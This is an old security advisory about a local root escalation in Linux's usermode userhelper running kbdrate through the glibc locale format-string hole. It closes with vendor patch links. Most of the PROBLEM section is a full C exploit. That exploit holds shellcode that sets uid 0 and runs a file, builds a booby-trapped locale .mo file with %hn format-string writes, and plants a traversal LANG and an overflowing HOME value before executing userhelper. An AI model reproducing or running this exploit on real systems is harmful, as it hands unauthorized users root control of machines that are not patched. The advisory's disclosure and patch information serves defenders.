COMMAND
userhelper /kbdrate
SYSTEMS AFFECTED
Linux
PROBLEM
Zenith Parsec found following.
[root@continuity /root]# rpm -qf /usr/bin/kbdrate
util-linux-2.9w-24
[root@continuity /root]# rpm -qf /usr/sbin/userhelper
usermode-1.35-1
[root@continuity /root]# rpm -qf /lib/libc.so.6
glibc-2.1.3-21
People can get root if they are logged in to your machine,
actually at the console. This exploits the glibc locale hole
(even in fixed version). (If your name is in /var/lock/console/*
then you can do it.)
Gets past the fix because there is a call to setuid(0); just
before exec-ing the called program. Now uid=euid=0 so it even
gives u core dumps(owned by root).
The sanity checks don't set done on the nonsuid programs.
/* start of zen-nktb.c */
/************************************************************************
another setlocale setuid proof of concept exploit
Sat Sep 30 02:47:38 NZST 2000 - ./zen-nktb.c
--zen-parse--
************************************************************************/
#include <stdio.h>
int getesp(){__asm__("movl %esp,%eax");}
char shellcode[] =
"\x90\x90\x31\xc0\x89\xc3\x89\xc1\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/xx";
void dopercentn(char *toaddr,unsigned int startloc,unsigned int sofar,int c)
// c =what i want in the 1st location
// startloc=pointer to successive pointers
{
char *bigfmt;
int f=0;
unsigned int buffer=0;
unsigned int d;
unsigned int p,q,r,s;
int n=1;
unsigned int thistime;
char fmt[1000];
f=startloc;
bigfmt=toaddr;
sofar=(0x100-sofar%0x100);
thistime=(c)%0x100+(sofar);
sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
strcpy(bigfmt,fmt);
sofar=(sofar+(0x100-thistime));
thistime=(c>>8)%0x100+(sofar);
f++;
sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
strcat(bigfmt,fmt);
sofar=sofar+(0x100-thistime);
thistime=(c>>16)%0x100+(sofar);
f++;
sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
strcat(bigfmt,fmt);
sofar=sofar+(0x100-thistime);
thistime=(c>>24)%0x100+(sofar);
f++;
sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
strcat(bigfmt,fmt);
}
main(int argc,char *argv[],char *env[])
{
FILE *fi,*fo;
char buf[100000],daenv[8000];
char *cwd,evil[300];
char *localedir;
unsigned long dasize=0,c,d=0,e=0,esp,i;
int o=0x0c12b;
int dest=0xbfffff16;
if (argc>1) d=atoi(argv[1]);
if (d==0) d =79;
if (argc>2) e=strtoul(argv[2],0,16);
if (e==0) e=0xbffffdb8;
fi=fopen("./util-linux.raw","r");
if (!fi)
{
perror("bugger: input didn't open:");
exit(-1);
}
if (mkdir("LC_MESSAGES",0755))
{
perror("Couldn't mkdir:");
if (chdir("LC_MESSAGES"))
{
perror("chdir failed:");
exit(-1);
}
chdir("..");
}
fo=fopen("./LC_MESSAGES/util-linux.mo","w");
if (!fo)
{
perror("bugger: output didn't open:");
exit(-1);
}
dasize=fread(buf,1,sizeof(buf),fi);
fclose(fi);
dopercentn(buf+o,d,0,dest);
strcpy(evil,"01234567890123456789012345678");
strcat(evil,shellcode);
esp=(unsigned int)(argv[0])%4;
esp=(6-esp)%4;
*(long*)(esp+evil)=e;
*(long*)(esp+evil+4)=e+1;
*(long*)(esp+evil+8)=e+2;
*(long*)(esp+evil+12)=e+3;
fwrite(buf,1,dasize,fo); // lazy, lazy, lazy.
fclose(fo);
cwd=(char *)getcwd(0,0);
if (!cwd)
{
perror("getcwd: Stop playing silly buggers. You want root, no? :");
exit(-1);
}
localedir=(char*)malloc(2000);
if (!localedir)
{
perror("malloc: fuck this for a game of soldiers:");
}
sprintf(localedir,"en_US/../../../../../..%s",cwd);
sprintf(daenv,"LANG=%s",localedir);
env[0]=0x0000000;
putenv("DISPLAY=:0.0");
putenv(daenv);
putenv("TERM=vt100");
putenv("SHELL=/bin/sh");
putenv("USER=root");
putenv("LOGNAME=root");
setenv("HOME",evil,1);
printf("Using dir of: %s\n",localedir);
execl("/usr/sbin/userhelper","/usr/sbin/userhelper","-t","-w","/sbin/kbdrate",0);
}
SOLUTION
SuSE distributions do not ship with the usermode package that
contains the userhelper program. Therefore, SuSE distributions
are not vulnerable to the recently published attacks that target
the usermode package.
For RedHat:
ftp://updates.redhat.com/6.0/sparc/usermode-1.37-1.6.sparc.rpm
ftp://updates.redhat.com/6.0/sparc/SysVinit-2.78-5.sparc.rpm
ftp://updates.redhat.com/6.0/i386/usermode-1.37-1.6.i386.rpm
ftp://updates.redhat.com/6.0/i386/SysVinit-2.78-5.i386.rpm
ftp://updates.redhat.com/6.0/alpha/usermode-1.37-1.6.alpha.rpm
ftp://updates.redhat.com/6.0/alpha/SysVinit-2.78-5.alpha.rpm
ftp://updates.redhat.com/6.0/SRPMS/usermode-1.37-1.6.src.rpm
ftp://updates.redhat.com/6.0/SRPMS/SysVinit-2.78-5.src.rpm
ftp://updates.redhat.com/6.1/alpha/usermode-1.37-1.6.alpha.rpm
ftp://updates.redhat.com/6.1/alpha/SysVinit-2.78-5.alpha.rpm
ftp://updates.redhat.com/6.1/sparc/usermode-1.37-1.6.sparc.rpm
ftp://updates.redhat.com/6.1/sparc/SysVinit-2.78-5.sparc.rpm
ftp://updates.redhat.com/6.1/i386/usermode-1.37-1.6.i386.rpm
ftp://updates.redhat.com/6.1/i386/SysVinit-2.78-5.i386.rpm
ftp://updates.redhat.com/6.1/SRPMS/usermode-1.37-1.6.src.rpm
ftp://updates.redhat.com/6.1/SRPMS/SysVinit-2.78-5.src.rpm
ftp://updates.redhat.com/6.2/alpha/usermode-1.37-1.6.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/SysVinit-2.78-5.alpha.rpm
ftp://updates.redhat.com/6.2/sparc/usermode-1.37-1.6.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/SysVinit-2.78-5.sparc.rpm
ftp://updates.redhat.com/6.2/i386/usermode-1.37-1.6.i386.rpm
ftp://updates.redhat.com/6.2/i386/SysVinit-2.78-5.i386.rpm
ftp://updates.redhat.com/6.2/SRPMS/usermode-1.37-1.6.src.rpm
ftp://updates.redhat.com/6.2/SRPMS/SysVinit-2.78-5.src.rpm
ftp://updates.redhat.com/7.0/i386/usermode-1.37-2.i386.rpm
ftp://updates.redhat.com/7.0/SRPMS/usermode-1.37-2.src.rpm
For Immunix OS 6.2 (StackGuarded versions of the RedHat packages):
http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/usermode-1.36-2.6.x_StackGuard.i386.rpm
http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/SysVinit-2.78-5_StackGuard.i386.rpm
http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/usermode-1.36-2.6.x_StackGuard.src.rpm
http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/SysVinit-2.78-5_StackGuard.src.rpm
Linux-Mandrake ships an older version of usermode which is not
vulnerable to this problem. Linux-Mandrake 7.2 beta contains the
fixed usermode 1.36 as provided by Red Hat.